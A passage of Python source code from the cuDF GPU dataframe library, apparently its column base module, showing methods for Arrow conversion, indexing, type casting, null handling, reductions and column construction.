-------- >>> import cudf >>> col = cudf.core.column.as_column([1, 2, 3, 4]) >>> col.to_arrow() <pyarrow.lib.Int64Array object at 0x7f886547f830> [ 1, 2, 3, 4 ] """ return libcudf.interop.to_arrow( cudf.core.frame.Frame( cudf.core.column_accessor.ColumnAccessor({"None": self}) ), [["None"]], keep_index=False, )["None"].chunk(0) @classmethod def from_arrow(cls, array: pa.Array) -> ColumnBase: """ Convert PyArrow Array/ChunkedArray to column Parameters ---------- array : PyArrow Array/ChunkedArray Returns ------- column Examples -------- >>> import pyarrow as pa >>> import cudf >>> cudf.core.column.ColumnBase.from_arrow(pa.array([1, 2, 3, 4])) <cudf.core.column.numerical.NumericalColumn object at 0x7f8865497ef0> """ if not isinstance(array, (pa.Array, pa.ChunkedArray)): raise TypeError("array should be PyArrow array or chunked array") data = pa.table([array], [None]) if isinstance(array.type, pa.DictionaryType): indices_table = pa.table( { "None": pa.chunked_array( [chunk.indices for chunk in data["None"].chunks], type=array.type.index_type, ) } ) dictionaries_table = pa.table( { "None": pa.chunked_array( [chunk.dictionary for chunk in data["None"].chunks], type=array.type.value_type, ) } ) codes = libcudf.interop.from_arrow( indices_table, indices_table.column_names )[0]["None"] categories = libcudf.interop.from_arrow( dictionaries_table, dictionaries_table.column_names )[0]["None"] return build_categorical_column( categories=categories, codes=codes, mask=codes.base_mask, size=codes.size, ordered=array.type.ordered, ) elif isinstance(array.type, pa.StructType): return cudf.core.column.StructColumn.from_arrow(array) elif isinstance( array.type, pd.core.arrays._arrow_utils.ArrowIntervalType ): return cudf.core.column.IntervalColumn.from_arrow(array) result = libcudf.interop.from_arrow(data, data.column_names)[0]["None"] return result._with_type_metadata(cudf_dtype_from_pa_type(array.type)) def _get_mask_as_column(self) -> ColumnBase: return libcudf.transform.mask_to_bools( self.base_mask, self.offset, self.offset + len(self) ) def memory_usage(self) -> int: n = 0 if self.data is not None: n += self.data.size if self.nullable: n += bitmask_allocation_size_bytes(self.size) return n def _default_na_value(self) -> Any: raise NotImplementedError() # TODO: This method is deprecated and can be removed when the associated # Frame methods are removed. def to_gpu_array(self, fillna=None) -> "cuda.devicearray.DeviceNDArray": """Get a dense numba device array for the data. Parameters ---------- fillna : scalar, 'pandas', or None See *fillna* in ``.to_array``. Notes ----- if ``fillna`` is ``None``, null values are skipped. Therefore, the output size could be smaller. """ if fillna: return self.fillna(self._default_na_value()).data_array_view else: return self.dropna(drop_nan=False).data_array_view # TODO: This method is deprecated and can be removed when the associated # Frame methods are removed. def to_array(self, fillna=None) -> np.ndarray: """Get a dense numpy array for the data. Parameters ---------- fillna : scalar, 'pandas', or None Defaults to None, which will skip null values. If it equals "pandas", null values are filled with NaNs. Non integral dtype is promoted to np.float64. Notes ----- if ``fillna`` is ``None``, null values are skipped. Therefore, the output size could be smaller. """ return self.to_gpu_array(fillna=fillna).copy_to_host() def _fill( self, fill_value: ScalarLike, begin: int, end: int, inplace: bool = False, ) -> Optional[ColumnBase]: if end <= begin or begin >= self.size: return self if inplace else self.copy() fill_scalar = as_device_scalar(fill_value, self.dtype) if not inplace: return libcudf.filling.fill(self, begin, end, fill_scalar) if is_string_dtype(self.dtype): return self._mimic_inplace( libcudf.filling.fill(self, begin, end, fill_scalar), inplace=True, ) if fill_value is None and not self.nullable: mask = create_null_mask(self.size, state=MaskState.ALL_VALID) self.set_base_mask(mask) libcudf.filling.fill_in_place(self, begin, end, fill_scalar) return self def shift(self, offset: int, fill_value: ScalarLike) -> ColumnBase: return libcudf.copying.shift(self, offset, fill_value) @property def valid_count(self) -> int: """Number of non-null values""" return len(self) - self.null_count @property def nullmask(self) -> Buffer: """The gpu buffer for the null-mask""" if not self.nullable: raise ValueError("Column has no null mask") return self.mask_array_view def copy(self: T, deep: bool = True) -> T: """Columns are immutable, so a deep copy produces a copy of the underlying data and mask and a shallow copy creates a new column and copies the references of the data and mask. """ if deep: result = libcudf.copying.copy_column(self) return cast(T, result._with_type_metadata(self.dtype)) else: return cast( T, build_column( self.base_data, self.dtype, mask=self.base_mask, size=self.size, offset=self.offset, children=self.base_children, ), ) def view(self, dtype: Dtype) -> ColumnBase: """ View the data underlying a column as different dtype. The source column must divide evenly into the size of the desired data type. Columns with nulls may only be viewed as dtypes with size equal to source dtype size Parameters ---------- dtype : NumPy dtype, string The dtype to view the data as """ dtype = cudf.dtype(dtype) if dtype.kind in ("o", "u", "s"): raise TypeError( "Bytes viewed as str without metadata is ambiguous" ) if self.dtype.itemsize == dtype.itemsize: return build_column( self.base_data, dtype=dtype, mask=self.base_mask, size=self.size, offset=self.offset, ) else: if self.null_count > 0: raise ValueError( "Can not produce a view of a column with nulls" ) if (self.size * self.dtype.itemsize) % dtype.itemsize: raise ValueError( f"Can not divide {self.size * self.dtype.itemsize}" + f" total bytes into {dtype} with size {dtype.itemsize}" ) # This assertion prevents mypy errors below. assert self.base_data is not None new_buf_ptr = ( self.base_data.ptr + self.offset * self.dtype.itemsize ) new_buf_size = self.size * self.dtype.itemsize view_buf = Buffer( data=new_buf_ptr, size=new_buf_size, owner=self.base_data._owner, ) return build_column(view_buf, dtype=dtype) def element_indexing(self, index: int): """Default implementation for indexing to an element Raises ------ ``IndexError`` if out-of-bound """ idx = np.int32(index) if idx < 0: idx = len(self) + idx if idx > len(self) - 1 or idx < 0: raise IndexError("single positional indexer is out-of-bounds") return libcudf.copying.get_element(self, idx).value def slice(self, start: int, stop: int, stride: int = None) -> ColumnBase: stride = 1 if stride is None else stride if start < 0: start = start + len(self) if stop < 0 and not (stride < 0 and stop == -1): stop = stop + len(self) if (stride > 0 and start >= stop) or (stride < 0 and start <= stop): return column_empty(0, self.dtype, masked=True) # compute mask slice if stride == 1: return libcudf.copying.column_slice(self, [start, stop])[ 0 ]._with_type_metadata(self.dtype) else: # Need to create a gather map for given slice with stride gather_map = arange( start=start, stop=stop, step=stride, dtype=cudf.dtype(np.int32), ) return self.take(gather_map) def __getitem__(self, arg) -> Union[ScalarLike, ColumnBase]: if _is_scalar_or_zero_d_array(arg): return self.element_indexing(int(arg)) elif isinstance(arg, slice): start, stop, stride = arg.indices(len(self)) return self.slice(start, stop, stride) else: arg = as_column(arg) if len(arg) == 0: arg = as_column([], dtype="int32") if is_integer_dtype(arg.dtype): return self.take(arg) if is_bool_dtype(arg.dtype): return self.apply_boolean_mask(arg) raise NotImplementedError(type(arg)) def __setitem__(self, key: Any, value: Any): """ Set the value of self[key] to value. If value and self are of different types, value is coerced to self.dtype """ if isinstance(key, slice): key_start, key_stop, key_stride = key.indices(len(self)) if key_start < 0: key_start = key_start + len(self) if key_stop < 0: key_stop = key_stop + len(self) if key_start >= key_stop: return self.copy() if (key_stride is None or key_stride == 1) and is_scalar(value): return self._fill(value, key_start, key_stop, inplace=True) if key_stride != 1 or key_stride is not None or is_scalar(value): key = arange( start=key_start, stop=key_stop, step=key_stride, dtype=cudf.dtype(np.int32), ) nelem = len(key) else: nelem = abs(key_stop - key_start) else: key = as_column(key) if is_bool_dtype(key.dtype): if not len(key) == len(self): raise ValueError( "Boolean mask must be of same length as column" ) key = arange(len(self))[key] if hasattr(value, "__len__") and len(value) == len(self): value = as_column(value)[key] nelem = len(key) if is_scalar(value): value = cudf.Scalar(value, dtype=self.dtype) else: if len(value) != nelem: msg = ( f"Size mismatch: cannot set value " f"of size {len(value)} to indexing result of size " f"{nelem}" ) raise ValueError(msg) value = as_column(value).astype(self.dtype) if ( isinstance(key, slice) and (key_stride == 1 or key_stride is None) and not is_scalar(value) ): out = libcudf.copying.copy_range( value, self, 0, nelem, key_start, key_stop, False ) else: try: if not isinstance(key, Column): key = as_column(key) if not is_scalar(value) and not isinstance(value, Column): value = as_column(value) out = libcudf.copying.scatter( value, key, self )._with_type_metadata(self.dtype) except RuntimeError as e: if "out of bounds" in str(e): raise IndexError( f"index out of bounds for column of size {len(self)}" ) from e raise self._mimic_inplace(out, inplace=True) def fillna( self: T, value: Any = None, method: builtins.str = None, dtype: Dtype = None, ) -> T: """Fill null values with ``value``. Returns a copy with null filled. """ return libcudf.replace.replace_nulls( input_col=self, replacement=value, method=method, dtype=dtype ) def isnull(self) -> ColumnBase: """Identify missing values in a Column.""" result = libcudf.unary.is_null(self) if self.dtype.kind == "f": # Need to consider `np.nan` values incase # of a float column result = result | libcudf.unary.is_nan(self) return result def notnull(self) -> ColumnBase: """Identify non-missing values in a Column.""" result = libcudf.unary.is_valid(self) if self.dtype.kind == "f": # Need to consider `np.nan` values incase # of a float column result = result & libcudf.unary.is_non_nan(self) return result def find_first_value( self, value: ScalarLike, closest: bool = False ) -> int: """ Returns offset of first value that matches """ # FIXME: Inefficient, may be need a libcudf api index = cudf.core.index.RangeIndex(0, stop=len(self)) indices = index.take(self == value) if not len(indices): raise ValueError("value not found") return indices[0] def find_last_value(self, value: ScalarLike, closest: bool = False) -> int: """ Returns offset of last value that matches """ # FIXME: Inefficient, may be need a libcudf api index = cudf.core.index.RangeIndex(0, stop=len(self)) indices = index.take(self == value) if not len(indices): raise ValueError("value not found") return indices[-1] def append(self, other: ColumnBase) -> ColumnBase: return concat_columns([self, as_column(other)]) def quantile( self, q: Union[float, Sequence[float]], interpolation: builtins.str, exact: bool, ) -> ColumnBase: raise TypeError(f"cannot perform quantile with type {self.dtype}") def median(self, skipna: bool = None) -> ScalarLike: raise TypeError(f"cannot perform median with type {self.dtype}") def take( self: T, indices: ColumnBase, nullify: bool = False, check_bounds=True ) -> T: """Return Column by taking values from the corresponding *indices*. Skip bounds checking if check_bounds is False. Set rows to null for all out of bound indices if nullify is `True`. """ # Handle zero size if indices.size == 0: return cast(T, column_empty_like(self, newsize=0)) # TODO: For performance, the check and conversion of gather map should # be done by the caller. This check will be removed in future release. if not is_integer_dtype(indices.dtype): indices = indices.astype("int32") if not libcudf.copying._gather_map_is_valid( indices, len(self), check_bounds, nullify ): raise IndexError("Gather map index is out of bounds.") return libcudf.copying.gather([self], indices, nullify=nullify)[ 0 ]._with_type_metadata(self.dtype) def isin(self, values: Sequence) -> ColumnBase: """Check whether values are contained in the Column. Parameters ---------- values : set or list-like The sequence of values to test. Passing in a single string will raise a TypeError. Instead, turn a single string into a list of one element. Returns ------- result: Column Column of booleans indicating if each element is in values. """ try: lhs, rhs = self._process_values_for_isin(values) res = lhs._isin_earlystop(rhs) if res is not None: return res except ValueError: # pandas functionally returns all False when cleansing via # typecasting fails return full(len(self), False, dtype="bool") return lhs._obtain_isin_result(rhs) def _process_values_for_isin( self, values: Sequence ) -> Tuple[ColumnBase, ColumnBase]: """ Helper function for `isin` which pre-process `values` based on `self`. """ lhs = self rhs = as_column(values, nan_as_null=False) if lhs.null_count == len(lhs): lhs = lhs.astype(rhs.dtype) elif rhs.null_count == len(rhs): rhs = rhs.astype(lhs.dtype) return lhs, rhs def _isin_earlystop(self, rhs: ColumnBase) -> Union[ColumnBase, None]: """ Helper function for `isin` which determines possibility of early-stopping or not. """ if self.dtype != rhs.dtype: if self.null_count and rhs.null_count: return self.isnull() else: return cudf.core.column.full(len(self), False, dtype="bool") elif self.null_count == 0 and (rhs.null_count == len(rhs)): return cudf.core.column.full(len(self), False, dtype="bool") else: return None def _obtain_isin_result(self, rhs: ColumnBase) -> ColumnBase: """ Helper function for `isin` which merges `self` & `rhs` to determine what values of `rhs` exist in `self`. """ ldf = cudf.DataFrame({"x": self, "orig_order": arange(len(self))}) rdf = cudf.DataFrame( {"x": rhs, "bool": full(len(rhs), True, dtype="bool")} ) res = ldf.merge(rdf, on="x", how="left").sort_values(by="orig_order") res = res.drop_duplicates(subset="orig_order", ignore_index=True) return res._data["bool"].fillna(False) def as_mask(self) -> Buffer: """Convert booleans to bitmask Returns ------- Buffer """ if self.has_nulls(): raise ValueError("Column must have no nulls.") return bools_to_mask(self) @property def is_unique(self) -> bool: return self.distinct_count() == len(self) @property def is_monotonic_increasing(self) -> bool: return not self.has_nulls() and self.as_frame()._is_sorted( ascending=None, null_position=None ) @property def is_monotonic_decreasing(self) -> bool: return not self.has_nulls() and self.as_frame()._is_sorted( ascending=[False], null_position=None ) def get_slice_bound( self, label: ScalarLike, side: builtins.str, kind: builtins.str ) -> int: """ Calculate slice bound that corresponds to given label. Returns leftmost (one-past-the-rightmost if ``side=='right'``) position of given label. Parameters ---------- label : Scalar side : {'left', 'right'} kind : {'ix', 'loc', 'getitem'} """ if kind not in {"ix", "loc", "getitem", None}: raise ValueError( f"Invalid value for ``kind`` parameter," f" must be either one of the following: " f"{"ix", "loc", "getitem", None}, but found: {kind}" ) if side not in {"left", "right"}: raise ValueError( "Invalid value for side kwarg," " must be either 'left' or 'right': %s" % (side,) ) # TODO: Handle errors/missing keys correctly # Not currently using `kind` argument. if side == "left": return self.find_first_value(label, closest=True) elif side == "right": return self.find_last_value(label, closest=True) + 1 else: raise ValueError(f"Invalid value for side: {side}") def sort_by_values( self: ColumnBase, ascending: bool = True, na_position: builtins.str = "last", ) -> Tuple[ColumnBase, "cudf.core.column.NumericalColumn"]: col_inds = self.as_frame()._get_sorted_inds( ascending=ascending, na_position=na_position ) col_keys = self.take(col_inds) return col_keys, col_inds def distinct_count( self, method: builtins.str = "sort", dropna: bool = True ) -> int: if method != "sort": msg = "non sort based distinct_count() not implemented yet" raise NotImplementedError(msg) try: return self._distinct_count[dropna] except KeyError: self._distinct_count[dropna] = cpp_distinct_count( self, ignore_nulls=dropna ) return self._distinct_count[dropna] def can_cast_safely(self, to_dtype: Dtype) -> bool: raise NotImplementedError() def astype(self, dtype: Dtype, **kwargs) -> ColumnBase: if is_categorical_dtype(dtype): return self.as_categorical_column(dtype, **kwargs) dtype = ( pandas_dtypes_alias_to_cudf_alias.get(dtype, dtype) if isinstance(dtype, str) else pandas_dtypes_to_np_dtypes.get(dtype, dtype) ) if _is_non_decimal_numeric_dtype(dtype): return self.as_numerical_column(dtype, **kwargs) elif is_categorical_dtype(dtype): return self.as_categorical_column(dtype, **kwargs) elif cudf.dtype(dtype).type in { np.str_, np.object_, str, }: return self.as_string_column(dtype, **kwargs) elif is_list_dtype(dtype): if not self.dtype == dtype: raise NotImplementedError( "Casting list columns not currently supported" ) return self elif is_struct_dtype(dtype): if not self.dtype == dtype: raise NotImplementedError( "Casting struct columns not currently supported" ) return self elif is_interval_dtype(self.dtype): return self.as_interval_column(dtype, **kwargs) elif is_decimal_dtype(dtype): return self.as_decimal_column(dtype, **kwargs) elif np.issubdtype(cast(Any, dtype), np.datetime64): return self.as_datetime_column(dtype, **kwargs) elif np.issubdtype(cast(Any, dtype), np.timedelta64): return self.as_timedelta_column(dtype, **kwargs) else: return self.as_numerical_column(dtype, **kwargs) def as_categorical_column(self, dtype, **kwargs) -> ColumnBase: if "ordered" in kwargs: ordered = kwargs["ordered"] else: ordered = False sr = cudf.Series(self) # Re-label self w.r.t. the provided categories if isinstance(dtype, (cudf.CategoricalDtype, pd.CategoricalDtype)): labels = sr._label_encoding(cats=dtype.categories) if "ordered" in kwargs: warnings.warn( "Ignoring the `ordered` parameter passed in `**kwargs`, " "will be using `ordered` parameter of CategoricalDtype" ) return build_categorical_column( categories=dtype.categories, codes=labels._column, mask=self.mask, ordered=dtype.ordered, ) cats = sr.unique().astype(sr.dtype) label_dtype = min_unsigned_type(len(cats)) labels = sr._label_encoding( cats=cats, dtype=label_dtype, na_sentinel=1 ) # columns include null index in factorization; remove: if self.has_nulls(): cats = cats._column.dropna(drop_nan=False) min_type = min_unsigned_type(len(cats), 8) labels = labels - 1 if cudf.dtype(min_type).itemsize < labels.dtype.itemsize: labels = labels.astype(min_type) return build_categorical_column( categories=cats, codes=labels._column, mask=self.mask, ordered=ordered, ) def as_numerical_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.NumericalColumn": raise NotImplementedError def as_datetime_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.DatetimeColumn": raise NotImplementedError def as_interval_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.IntervalColumn": raise NotImplementedError def as_timedelta_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.TimeDeltaColumn": raise NotImplementedError def as_string_column( self, dtype: Dtype, format=None, **kwargs ) -> "cudf.core.column.StringColumn": raise NotImplementedError def as_decimal_column( self, dtype: Dtype, **kwargs ) -> Union["cudf.core.column.decimal.DecimalBaseColumn"]: raise NotImplementedError def as_decimal128_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal128Column": raise NotImplementedError def as_decimal64_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal64Column": raise NotImplementedError def as_decimal32_column( self, dtype: Dtype, **kwargs ) -> "cudf.core.column.Decimal32Column": raise NotImplementedError def apply_boolean_mask(self, mask) -> ColumnBase: mask = as_column(mask) if not is_bool_dtype(mask.dtype): raise ValueError("boolean_mask is not boolean type.") return apply_boolean_mask([self], mask)[0]._with_type_metadata( self.dtype ) def argsort( self, ascending: bool = True, na_position: builtins.str = "last" ) -> ColumnBase: return self.as_frame()._get_sorted_inds( ascending=ascending, na_position=na_position ) def __arrow_array__(self, type=None): raise TypeError( "Implicit conversion to a host PyArrow Array via __arrow_array__ " "is not allowed, To explicitly construct a PyArrow Array, " "consider using .to_arrow()" ) def __array__(self, dtype=None): raise TypeError( "Implicit conversion to a host NumPy array via __array__ is not " "allowed. To explicitly construct a host array, consider using " ".to_array()" ) @property def __cuda_array_interface__(self): raise NotImplementedError( f"dtype {self.dtype} is not yet supported via " "`__cuda_array_interface__`" ) def __add__(self, other): return self.binary_operator("add", other) def __sub__(self, other): return self.binary_operator("sub", other) def __mul__(self, other): return self.binary_operator("mul", other) def __eq__(self, other): return self.binary_operator("eq", other) def __ne__(self, other): return self.binary_operator("ne", other) def __or__(self, other): return self.binary_operator("or", other) def __and__(self, other): return self.binary_operator("and", other) def __floordiv__(self, other): return self.binary_operator("floordiv", other) def __truediv__(self, other): return self.binary_operator("truediv", other) def __mod__(self, other): return self.binary_operator("mod", other) def __pow__(self, other): return self.binary_operator("pow", other) def __lt__(self, other): return self.binary_operator("lt", other) def __gt__(self, other): return self.binary_operator("gt", other) def __le__(self, other): return self.binary_operator("le", other) def __ge__(self, other): return self.binary_operator("ge", other) def searchsorted( self, value, side: builtins.str = "left", ascending: bool = True, na_position: builtins.str = "last", ): values = as_column(value).as_frame() return self.as_frame().searchsorted( values, side, ascending=ascending, na_position=na_position ) def unique(self) -> ColumnBase: """ Get unique values in the data """ # TODO: We could avoid performing `drop_duplicates` for # columns with values that already are unique. # Few things to note before we can do this optimization is # the following issue resolved: # https://github.com/rapidsai/cudf/issues/5286 return drop_duplicates([self], keep="first")[0] def serialize(self) -> Tuple[dict, list]: header: Dict[Any, Any] = {} frames = [] header["type-serialized"] = pickle.dumps(type(self)) header["dtype"] = self.dtype.str if self.data is not None: data_header, data_frames = self.data.serialize() header["data"] = data_header frames.extend(data_frames) if self.mask is not None: mask_header, mask_frames = self.mask.serialize() header["mask"] = mask_header frames.extend(mask_frames) header["frame_count"] = len(frames) return header, frames @classmethod def deserialize(cls, header: dict, frames: list) -> ColumnBase: dtype = header["dtype"] data = Buffer.deserialize(header["data"], [frames[0]]) mask = None if "mask" in header: mask = Buffer.deserialize(header["mask"], [frames[1]]) return build_column( data=data, dtype=dtype, mask=mask, size=header.get("size", None) ) def unary_operator(self, unaryop: builtins.str): raise TypeError( f"Operation {unaryop} not supported for dtype {self.dtype}." ) def binary_operator( self, op: builtins.str, other: BinaryOperand, reflect: bool = False ) -> ColumnBase: raise TypeError( f"Operation {op} not supported between dtypes {self.dtype} and " f"{other.dtype}." ) def normalize_binop_value( self, other: ScalarLike ) -> Union[ColumnBase, ScalarLike]: raise NotImplementedError def _minmax(self, skipna: bool = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.minmax(result_col) return result_col def min(self, skipna: bool = None, dtype: Dtype = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("min", result_col, dtype=dtype) return result_col def max(self, skipna: bool = None, dtype: Dtype = None): result_col = self._process_for_reduction(skipna=skipna) if isinstance(result_col, ColumnBase): return libcudf.reduce.reduce("max", result_col, dtype=dtype) return result_col def sum( self, skipna: bool = None, dtype: Dtype = None, min_count: int = 0 ): raise TypeError(f"cannot perform sum with type {self.dtype}") def product( self, skipna: bool = None, dtype: Dtype = None, min_count: int = 0 ): raise TypeError(f"cannot perform product with type {self.dtype}") def mean(self, skipna: bool = None, dtype: Dtype = None): raise TypeError(f"cannot perform mean with type {self.dtype}") def std(self, skipna: bool = None, ddof=1, dtype: Dtype = np.float64): raise TypeError(f"cannot perform std with type {self.dtype}") def var(self, skipna: bool = None, ddof=1, dtype: Dtype = np.float64): raise TypeError(f"cannot perform var with type {self.dtype}") def kurtosis(self, skipna: bool = None): raise TypeError(f"cannot perform kurtosis with type {self.dtype}") def skew(self, skipna: bool = None): raise TypeError(f"cannot perform skew with type {self.dtype}") def cov(self, other: ColumnBase): raise TypeError( f"cannot perform covarience with types {self.dtype}, " f"{other.dtype}" ) def corr(self, other: ColumnBase): raise TypeError( f"cannot perform corr with types {self.dtype}, {other.dtype}" ) def nans_to_nulls(self: T) -> T: return self def _process_for_reduction( self, skipna: bool = None, min_count: int = 0 ) -> Union[ColumnBase, ScalarLike]: skipna = True if skipna is None else skipna if skipna: result_col = self.nans_to_nulls() if result_col.has_nulls(): result_col = result_col.dropna() else: if self.has_nulls(): return cudf.utils.dtypes._get_nan_for_dtype(self.dtype) result_col = self if min_count > 0: valid_count = len(result_col) - result_col.null_count if valid_count < min_count: return cudf.utils.dtypes._get_nan_for_dtype(self.dtype) elif min_count < 0: warnings.warn( f"min_count value cannot be negative({min_count}), will " f"default to 0." ) return result_col def _reduction_result_dtype(self, reduction_op: str) -> Dtype: """ Determine the correct dtype to pass to libcudf based on the input dtype, data dtype, and specific reduction op """ return self.dtype def _with_type_metadata(self: ColumnBase, dtype: Dtype) -> ColumnBase: """ Copies type metadata from self onto other, returning a new column. When ``self`` is a nested column, recursively apply this function on the children of ``self``. """ return self def column_empty_like( column: ColumnBase, dtype: Dtype = None, masked: bool = False, newsize: int = None, ) -> ColumnBase: """Allocate a new column like the given *column*""" if dtype is None: dtype = column.dtype row_count = len(column) if newsize is None else newsize if ( hasattr(column, "dtype") and is_categorical_dtype(column.dtype) and dtype == column.dtype ): column = cast("cudf.core.column.CategoricalColumn", column) codes = column_empty_like(column.codes, masked=masked, newsize=newsize) return build_column( data=None, dtype=dtype, mask=codes.base_mask, children=(as_column(codes.base_data, dtype=codes.dtype),), size=codes.size, ) return column_empty(row_count, dtype, masked) def column_empty_like_same_mask( column: ColumnBase, dtype: Dtype ) -> ColumnBase: """Create a new empty Column with the same length and the same mask. Parameters ---------- dtype : np.dtype like The dtype of the data buffer. """ result = column_empty_like(column, dtype) if column.nullable: result = result.set_mask(column.mask) return result def column_empty( row_count: int, dtype: Dtype = "object", masked: bool = False ) -> ColumnBase: """Allocate a new column like the given row_count and dtype.""" dtype = cudf.dtype(dtype) children = () # type: Tuple[ColumnBase, ...] if is_struct_dtype(dtype): data = None children = tuple( column_empty(row_count, field_dtype) for field_dtype in dtype.fields.values() ) elif is_categorical_dtype(dtype): data = None children = ( build_column( data=Buffer.empty(row_count * cudf.dtype("int32").itemsize), dtype="int32", ), ) elif dtype.kind in "OU" and not is_decimal_dtype(dtype): data = None children = ( full(row_count + 1, 0, dtype="int32"), build_column( data=Buffer.empty(row_count * cudf.dtype("int8").itemsize), dtype="int8", ), ) else: data = Buffer.empty(row_count * dtype.itemsize) if masked: mask = create_null_mask(row_count, state=MaskState.ALL_NULL) else: mask = None return build_column( data, dtype, mask=mask, size=row_count, children=children ) def build_column( data: Union[Buffer, None], dtype: Dtype, *, size: int = None, mask: Buffer = None, offset: int = 0, null_count: int = None, children: Tuple[ColumnBase, ...] = (), ) -> ColumnBase: """ Build a Column of the appropriate type from the given parameters Parameters ---------- data : Buffer The data buffer (can be None if constructing certain Column types like StringColumn, ListColumn, or CategoricalColumn) dtype The dtype associated with the Column to construct mask : Buffer, optional The mask buffer size : int, optional offset : int, optional children : tuple, optional """ dtype = cudf.dtype(dtype) if _is_non_decimal_numeric_dtype(dtype): assert data is not None return cudf.core.column.NumericalColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) if is_categorical_dtype(dtype): if not len(children) == 1: raise ValueError( "Must specify exactly one child column for CategoricalColumn" ) if not isinstance(children[0], ColumnBase): raise TypeError("children must be a tuple of Columns") return cudf.core.column.CategoricalColumn( dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) elif dtype.type is np.datetime64: if data is None: raise TypeError("Must specify data buffer") return cudf.core.column.DatetimeColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) elif dtype.type is np.timedelta64: if data is None: raise TypeError("Must specify data buffer") return cudf.core.column.TimeDeltaColumn( data=data, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, ) elif dtype.type in (np.object_, np.str_): return cudf.core.column.StringColumn( mask=mask, size=size, offset=offset, children=children, null_count=null_count, ) elif is_list_dtype(dtype): return cudf.core.column.ListColumn( size=size, dtype=dtype, mask=mask, offset=offset, null_count=null_count, children=children, ) elif is_interval_dtype(dtype): return cudf.core.column.IntervalColumn( dtype=dtype, mask=mask, size=size, offset=offset, children=children, null_count=null_count, ) elif is_struct_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.StructColumn( data=data, dtype=dtype, size=size, offset=offset, mask=mask, null_count=null_count, children=children, ) elif is_decimal64_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal64Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_decimal32_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal32Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_decimal128_dtype(dtype): if size is None: raise TypeError("Must specify size") return cudf.core.column.Decimal128Column( data=data, size=size, offset=offset, dtype=dtype, mask=mask, null_count=null_count, children=children, ) elif is_interval_dtype(dtype): return cudf.core.column.IntervalColumn( dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) else: raise TypeError(f"Unrecognized dtype: {dtype}") def build_categorical_column( categories: ColumnBase, codes: ColumnBase, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ordered: bool = None, ) -> "cudf.core.column.CategoricalColumn": """ Build a CategoricalColumn Parameters ---------- categories : Column Column of categories codes : Column Column of codes, the size of the resulting Column will be the size of `codes` mask : Buffer Null mask size : int, optional offset : int, optional ordered : bool Indicates whether the categories are ordered """ codes_dtype = min_unsigned_type(len(categories)) codes = as_column(codes) if codes.dtype != codes_dtype: codes = codes.astype(codes_dtype) dtype = CategoricalDtype(categories=categories, ordered=ordered) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(codes,), ) return cast("cudf.core.column.CategoricalColumn", result) def build_interval_column( left_col, right_col, mask=None, size=None, offset=0, null_count=None, closed="right", ): """ Build an IntervalColumn Parameters ---------- left_col : Column Column of values representing the left of the interval right_col : Column Column of representing the right of the interval mask : Buffer Null mask size : int, optional offset : int, optional closed : {"left", "right", "both", "neither"}, default "right" Whether the intervals are closed on the left-side, right-side, both or neither. """ left = as_column(left_col) right = as_column(right_col) if closed not in {"left", "right", "both", "neither"}: closed = "right" if type(left_col) is not list: dtype = IntervalDtype(left_col.dtype, closed) else: dtype = IntervalDtype("int64", closed) size = len(left) return build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(left, right), ) def build_list_column( indices: ColumnBase, elements: ColumnBase, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ) -> "cudf.core.column.ListColumn": """ Build a ListColumn Parameters ---------- indices : ColumnBase Column of list indices elements : ColumnBase Column of list elements mask: Buffer Null mask size: int, optional offset: int, optional """ dtype = ListDtype(element_type=elements.dtype) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=(indices, elements), ) return cast("cudf.core.column.ListColumn", result) def build_struct_column( names: Sequence[str], children: Tuple[ColumnBase, ...], dtype: Optional[Dtype] = None, mask: Buffer = None, size: int = None, offset: int = 0, null_count: int = None, ) -> "cudf.core.column.StructColumn": """ Build a StructColumn Parameters ---------- names : list-like Field names to map to children dtypes children : tuple mask: Buffer Null mask size: int, optional offset: int, optional """ if dtype is None: dtype = StructDtype( fields={name: col.dtype for name, col in zip(names, children)} ) result = build_column( data=None, dtype=dtype, mask=mask, size=size, offset=offset, null_count=null_count, children=children, ) return cast("cudf.core.column.StructColumn", result) def _make_copy_replacing_NaT_with_null(column): """Return a copy with NaT values replaced with nulls.""" if np.issubdtype(column.dtype, np.timedelta64): na_value = np.timedelta64("NaT", column.time_unit) elif np.issubdtype(column.dtype, np.datetime64): na_value = np.datetime64("NaT", column.time_unit) else: raise ValueError("This type does not support replacing NaT with null.") null = column_empty_like(column, masked=True, newsize=1) out_col = cudf._lib.replace.replace( column, build_column( Buffer(np.array([na_value], dtype=column.dtype).view("|u1")), dtype=column.dtype, ), null, ) return out_col def as_column( arbitrary: Any, nan_as_null: bool = None, dtype: Dtype = None, length: int = None, ): """Create a Column from an arbitrary object Parameters ---------- arbitrary : object Object to construct the Column from. See *Notes*. nan_as_null : bool, optional, default None If None (default), treats NaN values in arbitrary as null if there is no mask passed along with it. If True, combines the mask and NaNs to form a new validity mask. If False, leaves NaN values as is. dtype : optional Optionally typecast the constructed Column to the given dtype. length : int, optional If `arbitrary` is a scalar, broadcast into a Column of the given length. Returns ------- A Column of the appropriate type and size. Notes ----- Currently support 